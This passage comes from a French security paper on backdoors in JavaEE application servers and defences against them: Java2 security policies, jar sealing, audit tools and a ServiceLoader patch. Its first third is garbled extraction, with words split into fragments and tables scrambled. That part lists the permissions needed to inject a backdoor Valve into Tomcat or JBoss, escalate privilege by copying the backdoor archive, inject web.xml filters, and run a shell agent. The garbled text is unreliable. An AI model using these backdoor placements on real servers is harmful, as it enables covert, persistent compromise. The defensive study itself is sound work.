nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
